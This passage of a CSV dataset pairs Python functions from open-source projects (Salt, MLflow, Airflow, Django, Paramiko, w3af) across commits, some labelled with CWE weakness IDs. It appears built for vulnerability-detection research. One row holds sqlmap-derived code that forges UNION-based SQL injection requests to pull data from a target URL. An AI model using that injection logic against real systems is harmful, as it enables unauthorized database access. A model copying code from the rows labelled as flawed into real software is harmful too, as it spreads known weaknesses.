                        log.debug('Exception while handling events', exc_info=True)
                    # Add an extra fallback in case a forked process leeks through
                    multiprocessing.active_children()

            except zmq.ZMQError as exc:
                # The interrupt caused by python handling the
                # SIGCHLD. Throws this error with errno == EINTR.
                # Nothing to receive on the zmq socket throws this error
                # with EAGAIN.
                # Both are safe to ignore
                if exc.errno != errno.EAGAIN and exc.errno != errno.EINTR:
                    log.critical('Unexpected ZMQError while polling minion',
                                 exc_info=True)
                continue
            except SaltClientError:
                raise
            except Exception:
                log.critical(
                    'An exception occurred while polling the minion',
                    exc_info=True
                )
            # Process Beacons
            try:
                beacons = self.process_beacons(self.functions)
            except Exception:
                log.critical('The beacon errored: ', exec_info=True)
            if beacons:
                self._fire_master(events=beacons)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,examples/tensorflow/train_predict.py,0,"def main(argv):
    # Builds, trains and evaluates a tf.estimator. Then, exports it for inference, logs the exported model
    # with MLflow, and loads the fitted model back as a PyFunc to make predictions.
    (x_train, y_train), (x_test, y_test) = tf.keras.datasets.boston_housing.load_data()
    # There are 13 features we are using for inference.
    feat_cols = [tf.feature_column.numeric_column(key=""features"", shape=(x_train.shape[1],))]
    feat_spec = {""features"": tf.placeholder(""float"", name=""features"", shape=[None, x_train.shape[1]])}
    hidden_units = [50, 20]
    steps = 1000
    regressor = tf.estimator.DNNRegressor(hidden_units=hidden_units, feature_columns=feat_cols)
    train_input_fn = tf.estimator.inputs.numpy_input_fn({""features"": x_train}, y_train, num_epochs=None, shuffle=True)
    with mlflow.start_run() as tracked_run:
        mlflow.log_param(""Hidden Units"", hidden_units)
        mlflow.log_param(""Steps"", steps)
        regressor.train(train_input_fn, steps=steps)
        test_input_fn = tf.estimator.inputs.numpy_input_fn({""features"": x_test}, y_test, num_epochs=None, shuffle=True)
        # Compute mean squared error
        mse = regressor.evaluate(test_input_fn, steps=steps)
        mlflow.log_metric(""Mean Square Error"", mse['average_loss'])
        # Building a receiver function for exporting
        receiver_fn = tf.estimator.export.build_raw_serving_input_receiver_fn(feat_spec)
        temp = tempfile.mkdtemp()
        try:
            saved_estimator_path = regressor.export_savedmodel(temp, receiver_fn).decode(""utf-8"")
            # Logging the saved model
            tensorflow.log_saved_model(saved_model_dir=saved_estimator_path, signature_def_key=""predict"", artifact_path=""model"")
            # Reloading the model
            pyfunc_model = pyfunc.load_pyfunc(saved_estimator_path)
            df = pd.DataFrame(data=x_test, columns=[""features""] * x_train.shape[1])
            # Predicting on the loaded Python Function
            predict_df = pyfunc_model.predict(df)
            predict_df['original_labels'] = y_test
            print(predict_df)
        finally:
            shutil.rmtree(temp)",,mlflow/mlflow,e18d8c4fd4a2fa79efcca3f94e983aa11544033a,"def main(argv):
    # Builds, trains and evaluates a tf.estimator. Then, exports it for inference, logs the exported model
    # with MLflow, and loads the fitted model back as a PyFunc to make predictions.
    (x_train, y_train), (x_test, y_test) = tf.keras.datasets.boston_housing.load_data()
    # There are 13 features we are using for inference.
    feat_cols = [tf.feature_column.numeric_column(key=""features"", shape=(x_train.shape[1],))]
    feat_spec = {""features"": tf.placeholder(""float"", name=""features"", shape=[None, x_train.shape[1]])}
    hidden_units = [50, 20]
    steps = 1000
    regressor = tf.estimator.DNNRegressor(hidden_units=hidden_units, feature_columns=feat_cols)
    train_input_fn = tf.estimator.inputs.numpy_input_fn({""features"": x_train}, y_train, num_epochs=None, shuffle=True)
    with tracking.start_run() as tracked_run:
        mlflow.log_param(""Hidden Units"", hidden_units)
        mlflow.log_param(""Steps"", steps)
        regressor.train(train_input_fn, steps=steps)
        test_input_fn = tf.estimator.inputs.numpy_input_fn({""features"": x_test}, y_test, num_epochs=None, shuffle=True)
        # Compute mean squared error
        mse = regressor.evaluate(test_input_fn, steps=steps)
        mlflow.log_metric(""Mean Square Error"", mse['average_loss'])
        # Building a receiver function for exporting
        receiver_fn = tf.estimator.export.build_raw_serving_input_receiver_fn(feat_spec)
        temp = tempfile.mkdtemp()
        try:
            saved_estimator_path = regressor.export_savedmodel(temp, receiver_fn).decode(""utf-8"")
            # Logging the saved model
            tensorflow.log_saved_model(saved_model_dir=saved_estimator_path, signature_def_key=""predict"", artifact_path=""model"")
            # Reloading the model
            pyfunc_model = pyfunc.load_pyfunc(saved_estimator_path)
            df = pd.DataFrame(data=x_test, columns=[""features""] * x_train.shape[1])
            # Predicting on the loaded Python Function
            predict_df = pyfunc_model.predict(df)
            predict_df['original_labels'] = y_test
            print(predict_df)
        finally:
            shutil.rmtree(temp)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/app.py,0,"def code(self):
        dag_id = request.args.get('dag_id')
        dag = dagbag.dags[dag_id]
        code = """".join(open(dag.full_filepath, 'r').readlines())
        title = dag.filepath.replace(getconf().get('core', 'BASE_FOLDER') + '/dags/', '')
        html_code = highlight(
            code, PythonLexer(), HtmlFormatter(noclasses=True))
        return self.render(
            'airflow/code.html', html_code=html_code, dag=dag, title=title)",CWE-Unknown,apache/airflow,7cc448c9ad822d050b1c6e09d9fc4c912e5bd418,"def code(self):
        dag_id = request.args.get('dag_id')
        dag = dagbag.dags[dag_id]
        code = """".join(open(dag.filepath, 'r').readlines())
        title = dag.filepath.replace(getconf().get('core', 'BASE_FOLDER') + '/dags/', '')
        html_code = highlight(
            code, PythonLexer(), HtmlFormatter(noclasses=True))
        return self.render(
            'airflow/code.html', html_code=html_code, dag=dag, title=title)"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_shortcut_view_only_available_to_staff(self):
        """"""
        Only admin users should be able to use the admin shortcut view.
        """"""
        model_ctype = ContentType.objects.get_for_model(ModelWithStringPrimaryKey)
        obj = ModelWithStringPrimaryKey.objects.create(string_pk='foo')
        shortcut_url = ""/test_admin/admin/r/%s/%s/"" % (model_ctype.pk, obj.pk)

        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=False)
        self.assertTemplateUsed(response, 'admin/login.html')

        # Logged in? Redirect.
        self.client.login(username='super', password='secret')
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, 'http://example.com/dummy/foo/')",CWE-259,django/django,cf8d6e910839238ee9b2d0a094d98cb8d48dc530,"def test_shortcut_view_only_available_to_staff(self):
        """"""
        Only admin users should be able to use the admin shortcut view.
        """"""
        user_ctype = ContentType.objects.get_for_model(User)
        user = User.objects.get(username='super')
        shortcut_url = ""/test_admin/admin/r/%s/%s/"" % (user_ctype.pk, user.pk)

        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=False)
        self.assertTemplateUsed(response, 'admin/login.html')

        # Logged in? Redirect.
        self.client.login(username='super', password='secret')
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, 'http://example.com/users/super/')"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/util.py,0,"def generate_key_bytes(hashclass, salt, key, nbytes):
    """"""
    Given a password, passphrase, or other human-source key, scramble it
    through a secure hash into some keyworthy bytes.  This specific algorithm
    is used for encrypting/decrypting private key files.

    @param hashclass: class from L{Crypto.Hash} that can be used as a secure
        hashing function (like C{MD5} or C{SHA}).
    @type hashclass: L{Crypto.Hash}
    @param salt: data to salt the hash with.
    @type salt: byte string
    @param key: human-entered password or passphrase.
    @type key: string
    @param nbytes: number of bytes to generate.
    @type nbytes: int
    @return: key data
    @rtype: string
    """"""
    keydata = bytes()
    digest = bytes()
    if len(salt) > 8:
        salt = salt[:8]
    while nbytes > 0:
        hash_obj = hashclass.new()
        if len(digest) > 0:
            hash_obj.update(digest)
        hash_obj.update(b(key))
        hash_obj.update(salt)
        digest = hash_obj.digest()
        size = min(nbytes, len(digest))
        keydata += digest[:size]
        nbytes -= size
    return keydata",,paramiko/paramiko,fcf56ff9f85653e48db929b4a60460beabad24de,"def generate_key_bytes(hashclass, salt, key, nbytes):
    """"""
    Given a password, passphrase, or other human-source key, scramble it
    through a secure hash into some keyworthy bytes.  This specific algorithm
    is used for encrypting/decrypting private key files.

    @param hashclass: class from L{Crypto.Hash} that can be used as a secure
        hashing function (like C{MD5} or C{SHA}).
    @type hashclass: L{Crypto.Hash}
    @param salt: data to salt the hash with.
    @type salt: string
    @param key: human-entered password or passphrase.
    @type key: string
    @param nbytes: number of bytes to generate.
    @type nbytes: int
    @return: key data
    @rtype: string
    """"""
    keydata = ''
    digest = ''
    if len(salt) > 8:
        salt = salt[:8]
    while nbytes > 0:
        hash_obj = hashclass.new()
        if len(digest) > 0:
            hash_obj.update(digest)
        hash_obj.update(key)
        hash_obj.update(salt)
        digest = hash_obj.digest()
        size = min(nbytes, len(digest))
        keydata += digest[:size]
        nbytes -= size
    return keydata"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/apps/registry.py,0,"def lazy_model_operation(self, function, *model_keys):
        """"""
        Take a function and a number of (""app_label"", ""modelname"") tuples, and
        when all the corresponding models have been imported and registered,
        call the function with the model classes as its arguments.

        The function passed to this method must accept exactly n models as
        arguments, where n=len(model_keys).
        """"""
        # If this function depends on more than one model, we recursively turn
        # it into a chain of functions that accept a single model argument and
        # pass each in turn to lazy_model_operation.
        model_key, more_models = model_keys[0], model_keys[1:]
        if more_models:
            supplied_fn = function

            def function(model):
                next_function = partial(supplied_fn, model)
                # Annotate the function with its field for retrieval in
                # migrations.state.StateApps.
                if getattr(supplied_fn, 'keywords', None):
                    next_function.field = supplied_fn.keywords.get('field')
                self.lazy_model_operation(next_function, *more_models)

        # If the model is already loaded, pass it to the function immediately.
        # Otherwise, delay execution until the class is prepared.
        try:
            model_class = self.get_registered_model(*model_key)
        except LookupError:
            self._pending_operations[model_key].append(function)
        else:
            function(model_class)",CWE-Unknown,django/django,7506616f164a0e2a63fd8bf5ca044ddb78f9b22a,"def lazy_model_operation(self, function, *model_keys):
        """"""
        Take a function and a number of (""app_label"", ""modelname"") tuples, and
        when all the corresponding models have been imported and registered,
        call the function with the model classes as its arguments.

        The function passed to this method must accept exactly n models as
        arguments, where n=len(model_keys).
        """"""
        # If this function depends on more than one model, we recursively turn
        # it into a chain of functions that accept a single model argument and
        # pass each in turn to lazy_model_operation.
        model_key, more_models = model_keys[0], model_keys[1:]
        if more_models:
            supplied_fn = function

            def function(model):
                next_function = partial(supplied_fn, model)
                self.lazy_model_operation(next_function, *more_models)

        # If the model is already loaded, pass it to the function immediately.
        # Otherwise, delay execution until the class is prepared.
        try:
            model_class = self.get_registered_model(*model_key)
        except LookupError:
            self._pending_operations[model_key].append(function)
        else:
            function(model_class)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/lxc.py,0,"def reconfigure(name,
                cpu=None,
                cpuset=None,
                cpushare=None,
                memory=None,
                profile=None,
                network_profile=None,
                nic_opts=None,
                bridge=None,
                gateway=None,
                autostart=None,
                **kwargs):
    '''
    Reconfigure a container.

    This only applies to a few property

    name
        Name of the container.
    cpu
        Select a random number of cpu cores and assign it to the cpuset, if the
        cpuset option is set then this option will be ignored
    cpuset
        Explicitly define the cpus this container will be bound to
    cpushare
        cgroups cpu shares.
    autostart
        autostart container on reboot
    memory
        cgroups memory limit, in MB.
        (0 for nolimit, None for old default 1024MB)
    gateway
        the ipv4 gateway to use
        the default does nothing more than lxcutils does
    bridge
        the bridge to use
        the default does nothing more than lxcutils does
    nic
        Network interfaces profile (defined in config or pillar).

    nic_opts
        Extra options for network interfaces, will override

        ``{""eth0"": {""mac"": ""aa:bb:cc:dd:ee:ff"", ""ipv4"": ""10.1.1.1"", ""ipv6"": ""2001:db8::ff00:42:8329""}}``

        or

        ``{""eth0"": {""mac"": ""aa:bb:cc:dd:ee:ff"", ""ipv4"": ""10.1.1.1/24"", ""ipv6"": ""2001:db8::ff00:42:8329""}}``

    CLI Example:

    .. code-block:: bash

        salt-call -lall mc_lxc_fork.reconfigure foobar nic_opts=""{'eth1': {'mac': '00:16:3e:dd:ee:44'}}"" memory=4

    '''
    changes = {}
    ret = {'name': name,
           'comment': 'config for {0} up to date'.format(name),
           'result': True,
           'changes': changes}
    profile = get_container_profile(copy.deepcopy(profile))
    kw_overrides = copy.deepcopy(kwargs)

    def select(key, default=None):
        kw_overrides_match = kw_overrides.pop(key, _marker)
        profile_match = profile.pop(key, default)
        # let kwarg overrides be the preferred choice
        if kw_overrides_match is _marker:
            return profile_match
        return kw_overrides_match
    if nic_opts is not None and not network_profile:
        network_profile = 'eth0'

    if autostart is not None:
        autostart = select('autostart', autostart)
    else:
        autostart = 'keep'
    path = os.path.join('/var/lib/lxc/{0}/config'.format(name))
    if os.path.exists(path):
        old_chunks = read_conf(path, out_format='commented')
        make_kw = salt.utils.odict.OrderedDict([
            ('autostart', autostart),
            ('cpu', cpu),
            ('gateway', gateway),
            ('cpuset', cpuset),
            ('cpushare', cpushare),
            ('network_profile', network_profile),
            ('nic_opts', nic_opts),
            ('bridge', bridge)])
        # match 0 and none as memory = 0 in lxc config is harmful
        if memory:
            make_kw['memory'] = memory
        kw = salt.utils.odict.OrderedDict()
        for key, val in six.iteritems(make_kw):
            if val is not None:
                kw[key] = val
        new_cfg = _config_list(conf_tuples=old_chunks, **kw)
        if new_cfg:
            edit_conf(path, out_format='commented', lxc_config=new_cfg)
        chunks = read_conf(path, out_format='commented')
        if old_chunks != chunks:
            ret['comment'] = '{0} lxc config updated'.format(name)
            if state(name) == 'running':
                cret = reboot(name)
                ret['result'] = cret['result']
    return ret",,saltstack/salt,cca5adfddd5b0c0806f21ca4a2b5609b3c7b3e3e,"def reconfigure(name,
                cpu=None,
                cpuset=None,
                cpushare=None,
                memory=None,
                profile=None,
                network_profile=None,
                nic_opts=None,
                bridge=None,
                gateway=None,
                autostart=None,
                **kwargs):
    '''
    Reconfigure a container.

    This only applies to a few property

    name
        Name of the container.
    cpu
        Select a random number of cpu cores and assign it to the cpuset, if the
        cpuset option is set then this option will be ignored
    cpuset
        Explicitly define the cpus this container will be bound to
    cpushare
        cgroups cpu shares.
    autostart
        autostart container on reboot
    memory
        cgroups memory limit, in MB.
        (0 for nolimit, None for old default 1024MB)
    gateway
        the ipv4 gateway to use
        the default does nothing more than lxcutils does
    bridge
        the bridge to use
        the default does nothing more than lxcutils does
    nic
        Network interfaces profile (defined in config or pillar).

    nic_opts
        Extra options for network interfaces, will override

        ``{""eth0"": {""mac"": ""aa:bb:cc:dd:ee:ff"", ""ipv4"": ""10.1.1.1"", ""ipv6"": ""2001:db8::ff00:42:8329""}}``

        or

        ``{""eth0"": {""mac"": ""aa:bb:cc:dd:ee:ff"", ""ipv4"": ""10.1.1.1/24"", ""ipv6"": ""2001:db8::ff00:42:8329""}}``

    CLI Example:

    .. code-block:: bash

        salt-call -lall mc_lxc_fork.reconfigure foobar nic_opts=""{'eth1': {'mac': '00:16:3e:dd:ee:44'}}"" memory=4

    '''
    changes = {}
    ret = {'name': name,
           'comment': 'config for {0} up to date'.format(name),
           'result': True,
           'changes': changes}
    profile = get_container_profile(copy.deepcopy(profile))
    kw_overrides = copy.deepcopy(kwargs)

    def select(key, default=None):
        kw_overrides_match = kw_overrides.pop(key, _marker)
        profile_match = profile.pop(key, default)
        # let kwarg overrides be the preferred choice
        if kw_overrides_match is _marker:
            return profile_match
        return kw_overrides_match
    if nic_opts is not None and not network_profile:
        network_profile = 'eth0'

    if autostart is not None:
        autostart = select('autostart', autostart)
    else:
        autostart = 'keep'
    path = os.path.join('/var/lib/lxc/{0}/config'.format(name))
    if os.path.exists(path):
        old_chunks = read_conf(path, out_format='commented')
        make_kw = salt.utils.odict.OrderedDict([
            ('autostart', autostart),
            ('cpu', cpu),
            ('cpuset', cpuset),
            ('cpushare', cpushare),
            ('network_profile', network_profile),
            ('nic_opts', nic_opts),
            ('bridge', bridge),
            ('memory', memory)])
        kw = salt.utils.odict.OrderedDict()
        for key, val in six.iteritems(make_kw):
            if val is not None:
                kw[key] = val
        new_cfg = _config_list(conf_tuples=old_chunks, **kw)
        if new_cfg:
            edit_conf(path, out_format='commented', lxc_config=new_cfg)
        chunks = read_conf(path, out_format='commented')
        if old_chunks != chunks:
            ret['comment'] = '{0} lxc config updated'.format(name)
            if state(name) == 'running':
                cret = reboot(name)
                ret['result'] = cret['result']
    return ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/tracking/test_rest_store.py,0,"def test_search_experiments(self):
        creds = MlflowHostCreds(""https://hello"")
        store = RestStore(lambda: creds)

        with mock_http_request() as mock_http:
            store.search_experiments(
                view_type=ViewType.DELETED_ONLY,
                max_results=5,
                filter_string=""name"",
                order_by=[""name""],
                page_token=""abc"",
            )
            self._verify_requests(
                mock_http,
                creds,
                ""experiments/search"",
                ""POST"",
                message_to_json(
                    SearchExperiments(
                        view_type=ViewType.DELETED_ONLY,
                        max_results=5,
                        filter=""name"",
                        order_by=[""name""],
                        page_token=""abc"",
                    )
                ),
            )",,mlflow/mlflow,0247a7d9ea40adc1fd7b36c22878f1b92662b01b,"def test_search_experiments(self):
        creds = MlflowHostCreds(""https://hello"")
        store = RestStore(lambda: creds)

        with mock_http_request() as mock_http:
            store.search_experiments(
                view_type=ViewType.DELETED_ONLY,
                max_results=5,
                filter_string=""name"",
                order_by=[""name""],
                page_token=""abc"",
            )
            self._verify_requests(
                mock_http,
                creds,
                ""experiments/search"",
                ""POST"",
                message_to_json(
                    SearchExperiments(
                        view_type=ViewType.DELETED_ONLY,
                        max_results=5,
                        filter=""name"",
                        order_by=[""name""],
                        page_token=""abc"",
                    )
                ),
            )"
,UNKNOWN,UNKNOWN,tests/executors/test_celery_executor.py,1,"def test_check_for_stalled_adopted_tasks(self):
        exec_date = timezone.utcnow() - timedelta(minutes=40)
        start_date = timezone.utcnow() - timedelta(days=2)
        queued_dttm = timezone.utcnow() - timedelta(minutes=30)

        try_number = 1

        with DAG(""test_check_for_stalled_adopted_tasks"") as dag:
            task_1 = BaseOperator(task_id=""task_1"", start_date=start_date)
            task_2 = BaseOperator(task_id=""task_2"", start_date=start_date)

        key_1 = TaskInstanceKey(dag.dag_id, task_1.task_id, exec_date, try_number)
        key_2 = TaskInstanceKey(dag.dag_id, task_2.task_id, exec_date, try_number)

        executor = celery_executor.CeleryExecutor()
        executor.adopted_task_timeouts = {
            key_1: queued_dttm + executor.task_adoption_timeout,
            key_2: queued_dttm + executor.task_adoption_timeout,
        }
        executor.running = {key_1, key_2}
        executor.tasks = {key_1: AsyncResult(""231""), key_2: AsyncResult(""232"")}
        executor.sync()
        assert executor.event_buffer == {key_1: (State.FAILED, None), key_2: (State.FAILED, None)}
        assert executor.tasks == {}
        assert executor.running == set()
        assert executor.adopted_task_timeouts == {}",CWE-703,apache/airflow,c6313e48a2ea53836b2d6619741534443f08f9aa,"def test_check_for_stalled_adopted_tasks(self):
        exec_date = timezone.utcnow() - timedelta(minutes=40)
        start_date = timezone.utcnow() - timedelta(days=2)
        queued_dttm = timezone.utcnow() - timedelta(minutes=30)

        try_number = 1

        with DAG(""test_check_for_stalled_adopted_tasks"") as dag:
            task_1 = BaseOperator(task_id=""task_1"", start_date=start_date)
            task_2 = BaseOperator(task_id=""task_2"", start_date=start_date)

        key_1 = TaskInstanceKey(dag.dag_id, task_1.task_id, exec_date, try_number)
        key_2 = TaskInstanceKey(dag.dag_id, task_2.task_id, exec_date, try_number)

        executor = celery_executor.CeleryExecutor()
        executor.adopted_task_timeouts = {
            key_1: queued_dttm + executor.task_adoption_timeout,
            key_2: queued_dttm + executor.task_adoption_timeout,
        }
        executor.tasks = {key_1: AsyncResult(""231""), key_2: AsyncResult(""232"")}
        executor.sync()
        assert executor.event_buffer == {key_1: (State.FAILED, None), key_2: (State.FAILED, None)}
        assert executor.tasks == {}
        assert executor.adopted_task_timeouts == {}"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/use.py,0,"def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
    """"""
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """"""

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = """"

    global reqCount

    if resetCounter:
        reqCount = 0

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression, unpack)
        expression = unescaper.unescape(expression)

    if kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == 2 and not direct:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if "" FROM "" in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.ORACLE:
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a ""LIMIT #, 1""
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the "" LIMIT ""
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                        stopLimit += startLimit
                elif dump:
                    if conf.limitStart:
                        startLimit = conf.limitStart
                    if conf.limitStop:
                        stopLimit = conf.limitStop

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == DBMS.ORACLE and expression.endswith(""FROM DUAL""):
                        test = False
                    else:
                        test = True

                if test:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search("" ORDER BY "", expression, re.I):
                        untilOrderChar = countedExpression.index("" ORDER BY "")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = ""the SQL query used returns ""
                            infoMsg += ""%d entries"" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = ""it was not possible to count the number ""
                            warnMsg += ""of entries for the used SQL query. ""
                            warnMsg += ""sqlmap will assume that it returns only ""
                            warnMsg += ""one entry""
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = ""the SQL query used does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = ""the SQL query used does not ""
                        warnMsg += ""return any output""
                        logger.warn(warnMsg)

                        return

                    try:
                        for num in xrange(startLimit, stopLimit):
                                if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                                    field = expressionFieldsList[0]
                                elif kb.dbms == DBMS.ORACLE:
                                    field = expressionFieldsList
                                else:
                                    field = None

                                limitedExpr = agent.limitQuery(num, expression, field)
                                output = resume(limitedExpr, None)

                                if not output:
                                    output = unionUse(limitedExpr, direct=True, unescape=False)

                                if output:
                                    value += output
                                    parseUnionPage(output, limitedExpr)

                                if conf.verbose in (1, 2):
                                    length = stopLimit - startLimit
                                    count = num - startLimit + 1
                                    status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), status), True)

                        dataToStdout(""\n"")

                    except KeyboardInterrupt:
                        print
                        warnMsg = ""Ctrl+C detected in dumping phase""
                        logger.warn(warnMsg)

                    finally:
                        clearConsoleLine(True)

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        query = agent.forgeInbandQuery(expression, exprPosition=vector[0], count=vector[1], comment=vector[2], prefix=vector[3], suffix=vector[4])
        payload = agent.payload(newValue=query)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)
        reqCount += 1

        if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(kb.misc.start)
        endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
        value = getUnicode(resultPage[startPosition:endPosition])

        duration = calculateDeltaSeconds(start)

        debugMsg = ""performed %d queries in %d seconds"" % (reqCount, duration)
        logger.debug(debugMsg)

    return value",,andresriancho/w3af,af9725214a0decb83ba15a7fe2b3239512ebefb2,"def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
    """"""
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """"""

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = """"

    global reqCount

    if resetCounter:
        reqCount = 0

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression, unpack)
        expression = unescaper.unescape(expression)

    if kb.unionNegative and not direct:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if "" FROM "" in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.ORACLE:
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a ""LIMIT #, 1""
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the "" LIMIT ""
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                        stopLimit += startLimit
                elif dump:
                    if conf.limitStart:
                        startLimit = conf.limitStart
                    if conf.limitStop:
                        stopLimit = conf.limitStop

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == DBMS.ORACLE and expression.endswith(""FROM DUAL""):
                        test = False
                    else:
                        test = True

                if test:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search("" ORDER BY "", expression, re.I):
                        untilOrderChar = countedExpression.index("" ORDER BY "")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = ""the SQL query used returns ""
                            infoMsg += ""%d entries"" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = ""it was not possible to count the number ""
                            warnMsg += ""of entries for the used SQL query. ""
                            warnMsg += ""sqlmap will assume that it returns only ""
                            warnMsg += ""one entry""
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = ""the SQL query used does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = ""the SQL query used does not ""
                        warnMsg += ""return any output""
                        logger.warn(warnMsg)

                        return

                    try:
